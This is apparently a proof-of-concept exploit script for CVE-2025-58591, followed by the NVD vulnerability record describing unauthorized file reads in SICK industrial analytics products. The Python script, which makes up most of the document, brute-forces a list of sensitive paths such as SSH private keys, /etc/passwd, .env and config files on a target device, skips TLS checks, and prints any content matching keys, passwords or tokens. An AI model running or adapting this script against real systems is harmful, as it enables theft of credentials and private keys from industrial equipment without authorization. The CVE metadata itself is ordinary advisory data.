CVE-2025-58591

# CVE-2025-58591 PoC - Directory/File Brute Force for Sensitive Information Disclosure # Target: SICK AG industrial products web interface # Description: This PoC demonstrates how an attacker can brute force directories and files # to read sensitive information like private keys and configuration files. import requests import sys from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://target-sick-device.example.com" WORDLIST_PATHS = [ "/.ssh/id_rsa", "/.ssh/id_rsa.pub", "/private.key", "/server.key", "/config.xml", "/configuration.xml", "/settings.json", "/config.json", "/admin/config", "/etc/passwd", "/.env", "/backup/config.bak", "/keys/private.pem", "/certs/server.crt", "/web.config", "/application.properties", "/database.yml", "/secrets.yml", ] def check_path(path): """Check if a path exists and is accessible on the target server.""" url = f"{TARGET_URL}{path}" try: response = requests.get(url, timeout=5, verify=False, allow_redirects=False) if response.status_code == 200 and len(response.content) > 0: # Check if response contains sensitive content patterns sensitive_patterns = [b"BEGIN RSA", b"BEGIN PRIVATE", b"BEGIN CERTIFICATE", b"password", b"secret", b"api_key", b"token"] for pattern in sensitive_patterns: if pattern in response.content: print(f"[!!! SENSITIVE] {url} - Found: {pattern.decode()}") return (url, response.text) print(f"[+] ACCESSIBLE: {url} (Size: {len(response.content)} bytes)") return (url, response.text) except requests.exceptions.RequestException: pass return None def main(): print(f"[*] Starting directory/file brute force against {TARGET_URL}") print(f"[*] Testing {len(WORDLIST_PATHS)} paths...") results = [] with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(check_path, path): path for path in WORDLIST_PATHS} for future in futures: result = future.result() if result: results.append(result) print(f"\n[*] Scan complete. Found {len(results)} accessible paths.") for url, content in results: print(f"\n{'='*60}") print(f"URL: {url}") print(f"Content preview: {content[:200]}...") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-58591", "sourceIdentifier": "[email protected]", "published": "2025-10-06T07:15:36.043", "lastModified": "2026-01-27T19:41:38.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A remote, unauthorized attacker can brute force folders and files and read them like private keys or configurations, making the application vulnerable for gathering sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sick:baggage_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "E62416BA-1BF1-43BD-98B2-57BD34128419"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:logistic_diagnostic_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "27031959-2981-4755-9E3D-02CD083F2B72"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:package_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "5955214B-0D71-449A-BFD4-8804FDF91CA1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:sick:tire_analytics:*:*:*:*:*:*:*:*", "matchCriteriaId": "86C0BA69-E701-45A3-ADA5-130B8AD9DF15"}]}]}], "references": [{"url": "https://sick.com/psirt", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://www.first.org/cvss/calculator/3.1", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/.well-known/csaf/white/2025/sca-2025-0010.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf", "source": "[email protected]", "tags": ["Product"]}]}}